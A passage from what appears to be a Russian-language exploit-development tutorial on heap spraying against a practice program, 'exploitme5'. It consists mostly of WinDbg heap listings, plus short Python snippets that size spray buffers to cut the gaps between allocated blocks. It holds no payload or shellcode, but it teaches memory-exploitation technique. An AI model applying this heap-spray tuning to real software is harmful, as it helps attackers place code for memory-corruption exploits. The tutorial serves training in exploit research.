Virtual block: 07440000 - 07440000 (size 00000000)
Virtual block: 07550000 - 07550000 (size 00000000)
Virtual block: 07660000 - 07660000 (size 00000000)
Virtual block: 07770000 - 07770000 (size 00000000)
Virtual block: 07880000 - 07880000 (size 00000000)
Virtual block: 07990000 - 07990000 (size 00000000)
Virtual block: 07aa0000 - 07aa0000 (size 00000000)
Virtual block: 07bb0000 - 07bb0000 (size 00000000)
Virtual block: 07cc0000 - 07cc0000 (size 00000000)
Virtual block: 07dd0000 - 07dd0000 (size 00000000)
Virtual block: 07ee0000 - 07ee0000 (size 00000000)
Virtual block: 07ff0000 - 07ff0000 (size 00000000)
Virtual block: 08100000 - 08100000 (size 00000000)
Virtual block: 08210000 - 08210000 (size 00000000)
Virtual block: 08320000 - 08320000 (size 00000000)
Virtual block: 08430000 - 08430000 (size 00000000)
Virtual block: 08540000 - 08540000 (size 00000000)
Virtual block: 08650000 - 08650000 (size 00000000)
Virtual block: 08760000 - 08760000 (size 00000000)
Virtual block: 08870000 - 08870000 (size 00000000)
Virtual block: 08980000 - 08980000 (size 00000000)
Virtual block: 08a90000 - 08a90000 (size 00000000)
Virtual block: 08ba0000 - 08ba0000 (size 00000000)
Virtual block: 08cb0000 - 08cb0000 (size 00000000)
Virtual block: 08dc0000 - 08dc0000 (size 00000000)
Virtual block: 08ed0000 - 08ed0000 (size 00000000)
Virtual block: 08fe0000 - 08fe0000 (size 00000000)
Virtual block: 090f0000 - 090f0000 (size 00000000)
Virtual block: 09200000 - 09200000 (size 00000000)
Virtual block: 09310000 - 09310000 (size 00000000)
Virtual block: 09420000 - 09420000 (size 00000000)
Virtual block: 09530000 - 09530000 (size 00000000)
Virtual block: 09640000 - 09640000 (size 00000000)
Virtual block: 09750000 - 09750000 (size 00000000)
Virtual block: 09860000 - 09860000 (size 00000000)
Virtual block: 09970000 - 09970000 (size 00000000)
Virtual block: 09a80000 - 09a80000 (size 00000000)
Virtual block: 09b90000 - 09b90000 (size 00000000)
Virtual block: 09ca0000 - 09ca0000 (size 00000000)
Virtual block: 09db0000 - 09db0000 (size 00000000)
Virtual block: 09ec0000 - 09ec0000 (size 00000000)
Virtual block: 09fd0000 - 09fd0000 (size 00000000)
Virtual block: 0a0e0000 - 0a0e0000 (size 00000000)
Virtual block: 0a1f0000 - 0a1f0000 (size 00000000)
Virtual block: 0a300000 - 0a300000 (size 00000000)
Virtual block: 0a410000 - 0a410000 (size 00000000)
Virtual block: 0a520000 - 0a520000 (size 00000000)
Virtual block: 0a630000 - 0a630000 (size 00000000)
Virtual block: 0a740000 - 0a740000 (size 00000000)
Virtual block: 0a850000 - 0a850000 (size 00000000)
Virtual block: 0a960000 - 0a960000 (size 00000000)
Virtual block: 0aa70000 - 0aa70000 (size 00000000)
Virtual block: 0ab80000 - 0ab80000 (size 00000000)
Virtual block: 0ac90000 - 0ac90000 (size 00000000)
Virtual block: 0ada0000 - 0ada0000 (size 00000000)
Virtual block: 0aeb0000 - 0aeb0000 (size 00000000)
Virtual block: 0afc0000 - 0afc0000 (size 00000000)
Virtual block: 0b0d0000 - 0b0d0000 (size 00000000)
Virtual block: 0b1e0000 - 0b1e0000 (size 00000000)
Virtual block: 0b2f0000 - 0b2f0000 (size 00000000)
Virtual block: 0b400000 - 0b400000 (size 00000000)
Virtual block: 0b510000 - 0b510000 (size 00000000)
Virtual block: 0b620000 - 0b620000 (size 00000000)
Virtual block: 0b730000 - 0b730000 (size 00000000)
Virtual block: 0b840000 - 0b840000 (size 00000000)
Virtual block: 0b950000 - 0b950000 (size 00000000)
Virtual block: 0ba60000 - 0ba60000 (size 00000000)
Virtual block: 0bb70000 - 0bb70000 (size 00000000)
Virtual block: 0bc80000 - 0bc80000 (size 00000000)
Virtual block: 0bd90000 - 0bd90000 (size 00000000)
Virtual block: 0bea0000 - 0bea0000 (size 00000000)
Virtual block: 0bfb0000 - 0bfb0000 (size 00000000)
Virtual block: 0c0c0000 - 0c0c0000 (size 00000000)
Virtual block: 0c1d0000 - 0c1d0000 (size 00000000)
Virtual block: 0c2e0000 - 0c2e0000 (size 00000000)
Virtual block: 0c3f0000 - 0c3f0000 (size 00000000)
Virtual block: 0c500000 - 0c500000 (size 00000000)
Virtual block: 0c610000 - 0c610000 (size 00000000)
Virtual block: 0c720000 - 0c720000 (size 00000000)
Virtual block: 0c830000 - 0c830000 (size 00000000)
Virtual block: 0c940000 - 0c940000 (size 00000000)
Virtual block: 0ca50000 - 0ca50000 (size 00000000)
Virtual block: 0cb60000 - 0cb60000 (size 00000000)
Virtual block: 0cc70000 - 0cc70000 (size 00000000)
Virtual block: 0cd80000 - 0cd80000 (size 00000000)
Virtual block: 0ce90000 - 0ce90000 (size 00000000)
Virtual block: 0cfa0000 - 0cfa0000 (size 00000000)
Virtual block: 0d0b0000 - 0d0b0000 (size 00000000)
Virtual block: 0d1c0000 - 0d1c0000 (size 00000000)
Virtual block: 0d2d0000 - 0d2d0000 (size 00000000)
Virtual block: 0d3e0000 - 0d3e0000 (size 00000000)
Virtual block: 0d4f0000 - 0d4f0000 (size 00000000)
Virtual block: 0d600000 - 0d600000 (size 00000000)
Virtual block: 0d710000 - 0d710000 (size 00000000)
Virtual block: 0d820000 - 0d820000 (size 00000000)
Virtual block: 0d930000 - 0d930000 (size 00000000)
Virtual block: 0da40000 - 0da40000 (size 00000000)
Virtual block: 0db50000 - 0db50000 (size 00000000)
Virtual block: 0dc60000 - 0dc60000 (size 00000000)
Virtual block: 0dd70000 - 0dd70000 (size 00000000)
Virtual block: 0de80000 - 0de80000 (size 00000000)
Virtual block: 0df90000 - 0df90000 (size 00000000)
Virtual block: 0e0a0000 - 0e0a0000 (size 00000000)
Virtual block: 0e1b0000 - 0e1b0000 (size 00000000)
Virtual block: 0e2c0000 - 0e2c0000 (size 00000000)
Virtual block: 0e3d0000 - 0e3d0000 (size 00000000)
Virtual block: 0e4e0000 - 0e4e0000 (size 00000000)
Virtual block: 0e5f0000 - 0e5f0000 (size 00000000)
Virtual block: 0e700000 - 0e700000 (size 00000000)
Virtual block: 0e810000 - 0e810000 (size 00000000)
Virtual block: 0e920000 - 0e920000 (size 00000000)
Virtual block: 0ea30000 - 0ea30000 (size 00000000)
Virtual block: 0eb40000 - 0eb40000 (size 00000000)
Virtual block: 0ec50000 - 0ec50000 (size 00000000)
Virtual block: 0ed60000 - 0ed60000 (size 00000000)
Virtual block: 0ee70000 - 0ee70000 (size 00000000)
Virtual block: 0ef80000 - 0ef80000 (size 00000000)
Virtual block: 0f090000 - 0f090000 (size 00000000)
Virtual block: 0f1a0000 - 0f1a0000 (size 00000000)
Virtual block: 0f2b0000 - 0f2b0000 (size 00000000)
Virtual block: 0f3c0000 - 0f3c0000 (size 00000000)
Virtual block: 0f4d0000 - 0f4d0000 (size 00000000)
Virtual block: 0f5e0000 - 0f5e0000 (size 00000000)
00140000 40000062    1024    188   1024     93     9     1  201      0      
00650000 40001062      64     12     64      2     2     1    0      0      
01c80000 40001062    1088    160   1088     68     5     2    0      0      
01e10000 40001062     256      4    256      2     1     1    0      0      
-----------------------------------------------------------------------------

Сравнивая адреса, вы можете удостовериться, что виртуальные блоки выведенные командой !heap такие же, как и блоки выделенные в exploitme5 и перечисленные функцией listBlocks().

Хотя разница есть:

block 200: address = 0x0f5e0020; size = 1048576         <---- listBlocks()
Virtual block: 0f5e0000 - 0f5e0000 (size 00000000)      <---- !heap

Как видим, тут 0x20 байт метаданных (заголовок), так что блок начинается по адресу 0f5e0000, но используемая часть начинается по адресу 0f5e0020.
!heap не показывает нам реальные размеры, но мы знаем что каждый блок по 1 МБ, т.е. 0x100000. За исключением первых двух блоков, расстояние между двумя смежными блоками равна 0x110000, так что здесь есть почти 0x10000 байт = 64 КБ мусора между смежными блоками. Нам бы сократить количество мусорных данных до минимума.

Давайте попробуем это сделать, вот обновленный скрипт:

with open(r'd:\buf.dat', 'wb') as f:
    f.write('a'*(0x100000-0x20))

После создания buf.dat, мы перезапускаем exploitme5.exe в WinDbg, выделяем блоки и получаем следующее:

0:001> !heap -s
NtGlobalFlag enables following debugging aids for new heaps:
    tail checking
    free checking
    validate parameters
LFH Key                   : 0x6c0192f2
Termination on corruption : ENABLED
  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast
                    (k)     (k)    (k)     (k) length      blocks cont. heap
-----------------------------------------------------------------------------
Virtual block: 020d0000 - 020d0000 (size 00000000)
Virtual block: 022e0000 - 022e0000 (size 00000000)
Virtual block: 023f0000 - 023f0000 (size 00000000)
Virtual block: 02500000 - 02500000 (size 00000000)
Virtual block: 02610000 - 02610000 (size 00000000)
Virtual block: 02720000 - 02720000 (size 00000000)
Virtual block: 02830000 - 02830000 (size 00000000)
Virtual block: 02940000 - 02940000 (size 00000000)
Virtual block: 02a50000 - 02a50000 (size 00000000)
Virtual block: 02b60000 - 02b60000 (size 00000000)
Virtual block: 02c70000 - 02c70000 (size 00000000)
Virtual block: 02d80000 - 02d80000 (size 00000000)
Virtual block: 02e90000 - 02e90000 (size 00000000)
Virtual block: 02fa0000 - 02fa0000 (size 00000000)
Virtual block: 030b0000 - 030b0000 (size 00000000)
Virtual block: 031c0000 - 031c0000 (size 00000000)
Virtual block: 032d0000 - 032d0000 (size 00000000)
Virtual block: 033e0000 - 033e0000 (size 00000000)
Virtual block: 034f0000 - 034f0000 (size 00000000)
Virtual block: 03600000 - 03600000 (size 00000000)
Virtual block: 03710000 - 03710000 (size 00000000)
Virtual block: 03820000 - 03820000 (size 00000000)
Virtual block: 03930000 - 03930000 (size 00000000)
Virtual block: 03a40000 - 03a40000 (size 00000000)
Virtual block: 03b50000 - 03b50000 (size 00000000)
Virtual block: 03c60000 - 03c60000 (size 00000000)
Virtual block: 03d70000 - 03d70000 (size 00000000)
Virtual block: 03e80000 - 03e80000 (size 00000000)
Virtual block: 03f90000 - 03f90000 (size 00000000)
Virtual block: 040a0000 - 040a0000 (size 00000000)
Virtual block: 041b0000 - 041b0000 (size 00000000)
Virtual block: 042c0000 - 042c0000 (size 00000000)
Virtual block: 043d0000 - 043d0000 (size 00000000)
Virtual block: 044e0000 - 044e0000 (size 00000000)
Virtual block: 045f0000 - 045f0000 (size 00000000)
Virtual block: 04700000 - 04700000 (size 00000000)
Virtual block: 04810000 - 04810000 (size 00000000)
Virtual block: 04920000 - 04920000 (size 00000000)
Virtual block: 04a30000 - 04a30000 (size 00000000)
Virtual block: 04b40000 - 04b40000 (size 00000000)
Virtual block: 04c50000 - 04c50000 (size 00000000)
Virtual block: 04d60000 - 04d60000 (size 00000000)
Virtual block: 04e70000 - 04e70000 (size 00000000)
Virtual block: 04f80000 - 04f80000 (size 00000000)
Virtual block: 05090000 - 05090000 (size 00000000)
Virtual block: 051a0000 - 051a0000 (size 00000000)
Virtual block: 052b0000 - 052b0000 (size 00000000)
Virtual block: 053c0000 - 053c0000 (size 00000000)
Virtual block: 054d0000 - 054d0000 (size 00000000)
Virtual block: 055e0000 - 055e0000 (size 00000000)
Virtual block: 056f0000 - 056f0000 (size 00000000)
Virtual block: 05800000 - 05800000 (size 00000000)
Virtual block: 05910000 - 05910000 (size 00000000)
Virtual block: 05a20000 - 05a20000 (size 00000000)
Virtual block: 05b30000 - 05b30000 (size 00000000)
Virtual block: 05c40000 - 05c40000 (size 00000000)
Virtual block: 05d50000 - 05d50000 (size 00000000)
Virtual block: 05e60000 - 05e60000 (size 00000000)
Virtual block: 05f70000 - 05f70000 (size 00000000)
Virtual block: 06080000 - 06080000 (size 00000000)
Virtual block: 06190000 - 06190000 (size 00000000)
Virtual block: 062a0000 - 062a0000 (size 00000000)
Virtual block: 063b0000 - 063b0000 (size 00000000)
Virtual block: 064c0000 - 064c0000 (size 00000000)
Virtual block: 065d0000 - 065d0000 (size 00000000)
Virtual block: 066e0000 - 066e0000 (size 00000000)
Virtual block: 067f0000 - 067f0000 (size 00000000)
Virtual block: 06900000 - 06900000 (size 00000000)
Virtual block: 06a10000 - 06a10000 (size 00000000)
Virtual block: 06b20000 - 06b20000 (size 00000000)
Virtual block: 06c30000 - 06c30000 (size 00000000)
Virtual block: 06d40000 - 06d40000 (size 00000000)
Virtual block: 06e50000 - 06e50000 (size 00000000)
Virtual block: 06f60000 - 06f60000 (size 00000000)
Virtual block: 07070000 - 07070000 (size 00000000)
Virtual block: 07180000 - 07180000 (size 00000000)
Virtual block: 07290000 - 07290000 (size 00000000)
Virtual block: 073a0000 - 073a0000 (size 00000000)
Virtual block: 074b0000 - 074b0000 (size 00000000)
Virtual block: 075c0000 - 075c0000 (size 00000000)
Virtual block: 076d0000 - 076d0000 (size 00000000)
Virtual block: 077e0000 - 077e0000 (size 00000000)
Virtual block: 078f0000 - 078f0000 (size 00000000)
Virtual block: 07a00000 - 07a00000 (size 00000000)
Virtual block: 07b10000 - 07b10000 (size 00000000)
Virtual block: 07c20000 - 07c20000 (size 00000000)
Virtual block: 07d30000 - 07d30000 (size 00000000)
Virtual block: 07e40000 - 07e40000 (size 00000000)
Virtual block: 07f50000 - 07f50000 (size 00000000)
Virtual block: 08060000 - 08060000 (size 00000000)
Virtual block: 08170000 - 08170000 (size 00000000)
Virtual block: 08280000 - 08280000 (size 00000000)
Virtual block: 08390000 - 08390000 (size 00000000)
Virtual block: 084a0000 - 084a0000 (size 00000000)
Virtual block: 085b0000 - 085b0000 (size 00000000)
Virtual block: 086c0000 - 086c0000 (size 00000000)
Virtual block: 087d0000 - 087d0000 (size 00000000)
Virtual block: 088e0000 - 088e0000 (size 00000000)
Virtual block: 089f0000 - 089f0000 (size 00000000)
Virtual block: 08b00000 - 08b00000 (size 00000000)
Virtual block: 08c10000 - 08c10000 (size 00000000)
Virtual block: 08d20000 - 08d20000 (size 00000000)
Virtual block: 08e30000 - 08e30000 (size 00000000)
Virtual block: 08f40000 - 08f40000 (size 00000000)
Virtual block: 09050000 - 09050000 (size 00000000)
Virtual block: 09160000 - 09160000 (size 00000000)
Virtual block: 09270000 - 09270000 (size 00000000)
Virtual block: 09380000 - 09380000 (size 00000000)
Virtual block: 09490000 - 09490000 (size 00000000)
Virtual block: 095a0000 - 095a0000 (size 00000000)
Virtual block: 096b0000 - 096b0000 (size 00000000)
Virtual block: 097c0000 - 097c0000 (size 00000000)
Virtual block: 098d0000 - 098d0000 (size 00000000)
Virtual block: 099e0000 - 099e0000 (size 00000000)
Virtual block: 09af0000 - 09af0000 (size 00000000)
Virtual block: 09c00000 - 09c00000 (size 00000000)
Virtual block: 09d10000 - 09d10000 (size 00000000)
Virtual block: 09e20000 - 09e20000 (size 00000000)
Virtual block: 09f30000 - 09f30000 (size 00000000)
Virtual block: 0a040000 - 0a040000 (size 00000000)
Virtual block: 0a150000 - 0a150000 (size 00000000)
Virtual block: 0a260000 - 0a260000 (size 00000000)
Virtual block: 0a370000 - 0a370000 (size 00000000)
Virtual block: 0a480000 - 0a480000 (size 00000000)
Virtual block: 0a590000 - 0a590000 (size 00000000)
Virtual block: 0a6a0000 - 0a6a0000 (size 00000000)
Virtual block: 0a7b0000 - 0a7b0000 (size 00000000)
Virtual block: 0a8c0000 - 0a8c0000 (size 00000000)
Virtual block: 0a9d0000 - 0a9d0000 (size 00000000)
Virtual block: 0aae0000 - 0aae0000 (size 00000000)
Virtual block: 0abf0000 - 0abf0000 (size 00000000)
Virtual block: 0ad00000 - 0ad00000 (size 00000000)
Virtual block: 0ae10000 - 0ae10000 (size 00000000)
Virtual block: 0af20000 - 0af20000 (size 00000000)
Virtual block: 0b030000 - 0b030000 (size 00000000)
Virtual block: 0b140000 - 0b140000 (size 00000000)
Virtual block: 0b250000 - 0b250000 (size 00000000)
Virtual block: 0b360000 - 0b360000 (size 00000000)
Virtual block: 0b470000 - 0b470000 (size 00000000)
Virtual block: 0b580000 - 0b580000 (size 00000000)
Virtual block: 0b690000 - 0b690000 (size 00000000)
Virtual block: 0b7a0000 - 0b7a0000 (size 00000000)
Virtual block: 0b8b0000 - 0b8b0000 (size 00000000)
Virtual block: 0b9c0000 - 0b9c0000 (size 00000000)
Virtual block: 0bad0000 - 0bad0000 (size 00000000)
Virtual block: 0bbe0000 - 0bbe0000 (size 00000000)
Virtual block: 0bcf0000 - 0bcf0000 (size 00000000)
Virtual block: 0be00000 - 0be00000 (size 00000000)
Virtual block: 0bf10000 - 0bf10000 (size 00000000)
Virtual block: 0c020000 - 0c020000 (size 00000000)
Virtual block: 0c130000 - 0c130000 (size 00000000)
Virtual block: 0c240000 - 0c240000 (size 00000000)
Virtual block: 0c350000 - 0c350000 (size 00000000)
Virtual block: 0c460000 - 0c460000 (size 00000000)
Virtual block: 0c570000 - 0c570000 (size 00000000)
Virtual block: 0c680000 - 0c680000 (size 00000000)
Virtual block: 0c790000 - 0c790000 (size 00000000)
Virtual block: 0c8a0000 - 0c8a0000 (size 00000000)
Virtual block: 0c9b0000 - 0c9b0000 (size 00000000)
Virtual block: 0cac0000 - 0cac0000 (size 00000000)
Virtual block: 0cbd0000 - 0cbd0000 (size 00000000)
Virtual block: 0cce0000 - 0cce0000 (size 00000000)
Virtual block: 0cdf0000 - 0cdf0000 (size 00000000)
Virtual block: 0cf00000 - 0cf00000 (size 00000000)
Virtual block: 0d010000 - 0d010000 (size 00000000)
Virtual block: 0d120000 - 0d120000 (size 00000000)
Virtual block: 0d230000 - 0d230000 (size 00000000)
Virtual block: 0d340000 - 0d340000 (size 00000000)
Virtual block: 0d450000 - 0d450000 (size 00000000)
Virtual block: 0d560000 - 0d560000 (size 00000000)
Virtual block: 0d670000 - 0d670000 (size 00000000)
Virtual block: 0d780000 - 0d780000 (size 00000000)
Virtual block: 0d890000 - 0d890000 (size 00000000)
Virtual block: 0d9a0000 - 0d9a0000 (size 00000000)
Virtual block: 0dab0000 - 0dab0000 (size 00000000)
Virtual block: 0dbc0000 - 0dbc0000 (size 00000000)
Virtual block: 0dcd0000 - 0dcd0000 (size 00000000)
Virtual block: 0dde0000 - 0dde0000 (size 00000000)
Virtual block: 0def0000 - 0def0000 (size 00000000)
Virtual block: 0e000000 - 0e000000 (size 00000000)
Virtual block: 0e110000 - 0e110000 (size 00000000)
Virtual block: 0e220000 - 0e220000 (size 00000000)
Virtual block: 0e330000 - 0e330000 (size 00000000)
Virtual block: 0e440000 - 0e440000 (size 00000000)
Virtual block: 0e550000 - 0e550000 (size 00000000)
Virtual block: 0e660000 - 0e660000 (size 00000000)
Virtual block: 0e770000 - 0e770000 (size 00000000)
Virtual block: 0e880000 - 0e880000 (size 00000000)
Virtual block: 0e990000 - 0e990000 (size 00000000)
Virtual block: 0eaa0000 - 0eaa0000 (size 00000000)
Virtual block: 0ebb0000 - 0ebb0000 (size 00000000)
Virtual block: 0ecc0000 - 0ecc0000 (size 00000000)
Virtual block: 0edd0000 - 0edd0000 (size 00000000)
Virtual block: 0eee0000 - 0eee0000 (size 00000000)
Virtual block: 0eff0000 - 0eff0000 (size 00000000)
Virtual block: 0f100000 - 0f100000 (size 00000000)
Virtual block: 0f210000 - 0f210000 (size 00000000)
Virtual block: 0f320000 - 0f320000 (size 00000000)
Virtual block: 0f430000 - 0f430000 (size 00000000)
Virtual block: 0f540000 - 0f540000 (size 00000000)
Virtual block: 0f650000 - 0f650000 (size 00000000)
00700000 40000062    1024    188   1024     93     9     1  201      0      
00190000 40001062      64     12     64      2     2     1    0      0      
020c0000 40001062    1088    160   1088     68     5     2    0      0      
022a0000 40001062     256      4    256      2     1     1    0      0      
-----------------------------------------------------------------------------

Ничего не изменилось! Давайте опробуйем сократить размер блоков еще:

with open(r'd:\buf.dat', 'wb') as f:
    f.write('a'*(0x100000-0x30))

В WinDbg:

0:001> !heap -s
NtGlobalFlag enables following debugging aids for new heaps:
    tail checking
    free checking
    validate parameters
LFH Key                   : 0x4863b9c2
Termination on corruption : ENABLED
  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast
                    (k)     (k)    (k)     (k) length      blocks cont. heap
-----------------------------------------------------------------------------
Virtual block: 00c60000 - 00c60000 (size 00000000)
Virtual block: 00e60000 - 00e60000 (size 00000000)
Virtual block: 00f60000 - 00f60000 (size 00000000)
Virtual block: 01060000 - 01060000 (size 00000000)
Virtual block: 01160000 - 01160000 (size 00000000)
Virtual block: 02730000 - 02730000 (size 00000000)
Virtual block: 02830000 - 02830000 (size 00000000)
Virtual block: 02930000 - 02930000 (size 00000000)
Virtual block: 02a30000 - 02a30000 (size 00000000)
Virtual block: 02b30000 - 02b30000 (size 00000000)
Virtual block: 02c30000 - 02c30000 (size 00000000)
Virtual block: 02d30000 - 02d30000 (size 00000000)
Virtual block: 02e30000 - 02e30000 (size 00000000)
Virtual block: 02f30000 - 02f30000 (size 00000000)
Virtual block: 03030000 - 03030000 (size 00000000)
Virtual block: 03130000 - 03130000 (size 00000000)
Virtual block: 03230000 - 03230000 (size 00000000)
Virtual block: 03330000 - 03330000 (size 00000000)
Virtual block: 03430000 - 03430000 (size 00000000)
Virtual block: 03530000 - 03530000 (size 00000000)
Virtual block: 03630000 - 03630000 (size 00000000)
Virtual block: 03730000 - 03730000 (size 00000000)
Virtual block: 03830000 - 03830000 (size 00000000)
Virtual block: 03930000 - 03930000 (size 00000000)
Virtual block: 03a30000 - 03a30000 (size 00000000)
Virtual block: 03b30000 - 03b30000 (size 00000000)
Virtual block: 03c30000 - 03c30000 (size 00000000)
Virtual block: 03d30000 - 03d30000 (size 00000000)
Virtual block: 03e30000 - 03e30000 (size 00000000)
Virtual block: 03f30000 - 03f30000 (size 00000000)
Virtual block: 04030000 - 04030000 (size 00000000)
Virtual block: 04130000 - 04130000 (size 00000000)
Virtual block: 04230000 - 04230000 (size 00000000)
Virtual block: 04330000 - 04330000 (size 00000000)
Virtual block: 04430000 - 04430000 (size 00000000)
Virtual block: 04530000 - 04530000 (size 00000000)
Virtual block: 04630000 - 04630000 (size 00000000)
Virtual block: 04730000 - 04730000 (size 00000000)
Virtual block: 04830000 - 04830000 (size 00000000)
Virtual block: 04930000 - 04930000 (size 00000000)
Virtual block: 04a30000 - 04a30000 (size 00000000)
Virtual block: 04b30000 - 04b30000 (size 00000000)
Virtual block: 04c30000 - 04c30000 (size 00000000)
Virtual block: 04d30000 - 04d30000 (size 00000000)
Virtual block: 04e30000 - 04e30000 (size 00000000)
Virtual block: 04f30000 - 04f30000 (size 00000000)
Virtual block: 05030000 - 05030000 (size 00000000)
Virtual block: 05130000 - 05130000 (size 00000000)
Virtual block: 05230000 - 05230000 (size 00000000)
Virtual block: 05330000 - 05330000 (size 00000000)
Virtual block: 05430000 - 05430000 (size 00000000)
Virtual block: 05530000 - 05530000 (size 00000000)
Virtual block: 05630000 - 05630000 (size 00000000)
Virtual block: 05730000 - 05730000 (size 00000000)
Virtual block: 05830000 - 05830000 (size 00000000)
Virtual block: 05930000 - 05930000 (size 00000000)
Virtual block: 05a30000 - 05a30000 (size 00000000)
Virtual block: 05b30000 - 05b30000 (size 00000000)
Virtual block: 05c30000 - 05c30000 (size 00000000)
Virtual block: 05d30000 - 05d30000 (size 00000000)
Virtual block: 05e30000 - 05e30000 (size 00000000)
Virtual block: 05f30000 - 05f30000 (size 00000000)
Virtual block: 06030000 - 06030000 (size 00000000)
Virtual block: 06130000 - 06130000 (size 00000000)
Virtual block: 06230000 - 06230000 (size 00000000)
Virtual block: 06330000 - 06330000 (size 00000000)
Virtual block: 06430000 - 06430000 (size 00000000)
Virtual block: 06530000 - 06530000 (size 00000000)
Virtual block: 06630000 - 06630000 (size 00000000)
Virtual block: 06730000 - 06730000 (size 00000000)
Virtual block: 06830000 - 06830000 (size 00000000)
Virtual block: 06930000 - 06930000 (size 00000000)
Virtual block: 06a30000 - 06a30000 (size 00000000)
Virtual block: 06b30000 - 06b30000 (size 00000000)
Virtual block: 06c30000 - 06c30000 (size 00000000)
Virtual block: 06d30000 - 06d30000 (size 00000000)
Virtual block: 06e30000 - 06e30000 (size 00000000)
Virtual block: 06f30000 - 06f30000 (size 00000000)
Virtual block: 07030000 - 07030000 (size 00000000)
Virtual block: 07130000 - 07130000 (size 00000000)
Virtual block: 07230000 - 07230000 (size 00000000)
Virtual block: 07330000 - 07330000 (size 00000000)
Virtual block: 07430000 - 07430000 (size 00000000)
Virtual block: 07530000 - 07530000 (size 00000000)
Virtual block: 07630000 - 07630000 (size 00000000)
Virtual block: 07730000 - 07730000 (size 00000000)
Virtual block: 07830000 - 07830000 (size 00000000)
Virtual block: 07930000 - 07930000 (size 00000000)
Virtual block: 07a30000 - 07a30000 (size 00000000)
Virtual block: 07b30000 - 07b30000 (size 00000000)
Virtual block: 07c30000 - 07c30000 (size 00000000)
Virtual block: 07d30000 - 07d30000 (size 00000000)
Virtual block: 07e30000 - 07e30000 (size 00000000)
Virtual block: 07f30000 - 07f30000 (size 00000000)
Virtual block: 08030000 - 08030000 (size 00000000)
Virtual block: 08130000 - 08130000 (size 00000000)
Virtual block: 08230000 - 08230000 (size 00000000)
Virtual block: 08330000 - 08330000 (size 00000000)
Virtual block: 08430000 - 08430000 (size 00000000)
Virtual block: 08530000 - 08530000 (size 00000000)
Virtual block: 08630000 - 08630000 (size 00000000)
Virtual block: 08730000 - 08730000 (size 00000000)
Virtual block: 08830000 - 08830000 (size 00000000)
Virtual block: 08930000 - 08930000 (size 00000000)
Virtual block: 08a30000 - 08a30000 (size 00000000)
Virtual block: 08b30000 - 08b30000 (size 00000000)
Virtual block: 08c30000 - 08c30000 (size 00000000)
Virtual block: 08d30000 - 08d30000 (size 00000000)
Virtual block: 08e30000 - 08e30000 (size 00000000)
Virtual block: 08f30000 - 08f30000 (size 00000000)
Virtual block: 09030000 - 09030000 (size 00000000)
Virtual block: 09130000 - 09130000 (size 00000000)
Virtual block: 09230000 - 09230000 (size 00000000)
Virtual block: 09330000 - 09330000 (size 00000000)
Virtual block: 09430000 - 09430000 (size 00000000)
Virtual block: 09530000 - 09530000 (size 00000000)
Virtual block: 09630000 - 09630000 (size 00000000)
Virtual block: 09730000 - 09730000 (size 00000000)
Virtual block: 09830000 - 09830000 (size 00000000)
Virtual block: 09930000 - 09930000 (size 00000000)
Virtual block: 09a30000 - 09a30000 (size 00000000)
Virtual block: 09b30000 - 09b30000 (size 00000000)
Virtual block: 09c30000 - 09c30000 (size 00000000)
Virtual block: 09d30000 - 09d30000 (size 00000000)
Virtual block: 09e30000 - 09e30000 (size 00000000)
Virtual block: 09f30000 - 09f30000 (size 00000000)
Virtual block: 0a030000 - 0a030000 (size 00000000)
Virtual block: 0a130000 - 0a130000 (size 00000000)
Virtual block: 0a230000 - 0a230000 (size 00000000)
Virtual block: 0a330000 - 0a330000 (size 00000000)
Virtual block: 0a430000 - 0a430000 (size 00000000)
Virtual block: 0a530000 - 0a530000 (size 00000000)
Virtual block: 0a630000 - 0a630000 (size 00000000)
Virtual block: 0a730000 - 0a730000 (size 00000000)
Virtual block: 0a830000 - 0a830000 (size 00000000)
Virtual block: 0a930000 - 0a930000 (size 00000000)
Virtual block: 0aa30000 - 0aa30000 (size 00000000)
Virtual block: 0ab30000 - 0ab30000 (size 00000000)
Virtual block: 0ac30000 - 0ac30000 (size 00000000)
Virtual block: 0ad30000 - 0ad30000 (size 00000000)
Virtual block: 0ae30000 - 0ae30000 (size 00000000)
Virtual block: 0af30000 - 0af30000 (size 00000000)
Virtual block: 0b030000 - 0b030000 (size 00000000)
Virtual block: 0b130000 - 0b130000 (size 00000000)
Virtual block: 0b230000 - 0b230000 (size 00000000)
Virtual block: 0b330000 - 0b330000 (size 00000000)
Virtual block: 0b430000 - 0b430000 (size 00000000)
Virtual block: 0b530000 - 0b530000 (size 00000000)
Virtual block: 0b630000 - 0b630000 (size 00000000)
Virtual block: 0b730000 - 0b730000 (size 00000000)
Virtual block: 0b830000 - 0b830000 (size 00000000)
Virtual block: 0b930000 - 0b930000 (size 00000000)
Virtual block: 0ba30000 - 0ba30000 (size 00000000)
Virtual block: 0bb30000 - 0bb30000 (size 00000000)
Virtual block: 0bc30000 - 0bc30000 (size 00000000)
Virtual block: 0bd30000 - 0bd30000 (size 00000000)
Virtual block: 0be30000 - 0be30000 (size 00000000)
Virtual block: 0bf30000 - 0bf30000 (size 00000000)
Virtual block: 0c030000 - 0c030000 (size 00000000)
Virtual block: 0c130000 - 0c130000 (size 00000000)
Virtual block: 0c230000 - 0c230000 (size 00000000)
Virtual block: 0c330000 - 0c330000 (size 00000000)
Virtual block: 0c430000 - 0c430000 (size 00000000)
Virtual block: 0c530000 - 0c530000 (size 00000000)
Virtual block: 0c630000 - 0c630000 (size 00000000)
Virtual block: 0c730000 - 0c730000 (size 00000000)
Virtual block: 0c830000 - 0c830000 (size 00000000)
Virtual block: 0c930000 - 0c930000 (size 00000000)
Virtual block: 0ca30000 - 0ca30000 (size 00000000)
Virtual block: 0cb30000 - 0cb30000 (size 00000000)
Virtual block: 0cc30000 - 0cc30000 (size 00000000)
Virtual block: 0cd30000 - 0cd30000 (size 00000000)
Virtual block: 0ce30000 - 0ce30000 (size 00000000)
Virtual block: 0cf30000 - 0cf30000 (size 00000000)
Virtual block: 0d030000 - 0d030000 (size 00000000)
Virtual block: 0d130000 - 0d130000 (size 00000000)
Virtual block: 0d230000 - 0d230000 (size 00000000)
Virtual block: 0d330000 - 0d330000 (size 00000000)
Virtual block: 0d430000 - 0d430000 (size 00000000)
Virtual block: 0d530000 - 0d530000 (size 00000000)
Virtual block: 0d630000 - 0d630000 (size 00000000)
Virtual block: 0d730000 - 0d730000 (size 00000000)
Virtual block: 0d830000 - 0d830000 (size 00000000)
Virtual block: 0d930000 - 0d930000 (size 00000000)
Virtual block: 0da30000 - 0da30000 (size 00000000)
Virtual block: 0db30000 - 0db30000 (size 00000000)
